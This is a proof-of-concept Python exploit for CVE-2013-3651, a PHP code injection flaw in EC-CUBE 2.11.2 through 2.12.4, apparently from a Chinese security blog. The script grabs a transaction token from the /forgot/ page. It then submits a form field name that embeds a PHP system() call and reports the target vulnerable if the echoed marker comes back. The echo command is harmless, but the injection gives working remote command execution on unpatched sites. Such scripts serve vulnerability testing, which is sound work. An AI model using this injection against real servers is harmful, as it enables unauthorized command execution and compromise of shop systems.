# CVE-2013-3651 LOCKON EC-CUBE 2.11.2 through 2.12.4 PHP代碼注入漏洞
==Usage==
$ python poc_cve_2013_3651.py- e.g. $ python poc_cve_2013_3651.py http://127.0.0.1:9000/ Result: Vulnerable!
==POC==
import re
import urllib.request
import sys
args = sys.argv
if len(args) != 2 :
print ('Using: python poc_cve_2013_3651.py ')
exit()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor())
url = '%s/forgot/' % args[1]
# Get transaction value.
req = urllib.request.Request(url)
res = opener.open(req)
body = res.read().decode('utf-8')
res.close()
transactionid = re.findall(r' name="transactionid" value="([a-z0-9]+)"', body)[0]
# Post Check request.
post_data = urllib.parse.urlencode({
'transactionid': transactionid,
'mode': 'mail_check',
'email': '',
"name01[system('echo CVE$1_2013_3651')]": '',
'name02': ''
}).encode('utf-8')
res = opener.open(req, post_data)
body = res.read().decode('utf-8')
res.close()
# print (body)
if re.findall(r'CVE_2013_3651', body) :
print('Result: Vulnerable!')
else:
print('Result: Not vulnerable...')
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END













请登录后查看评论内容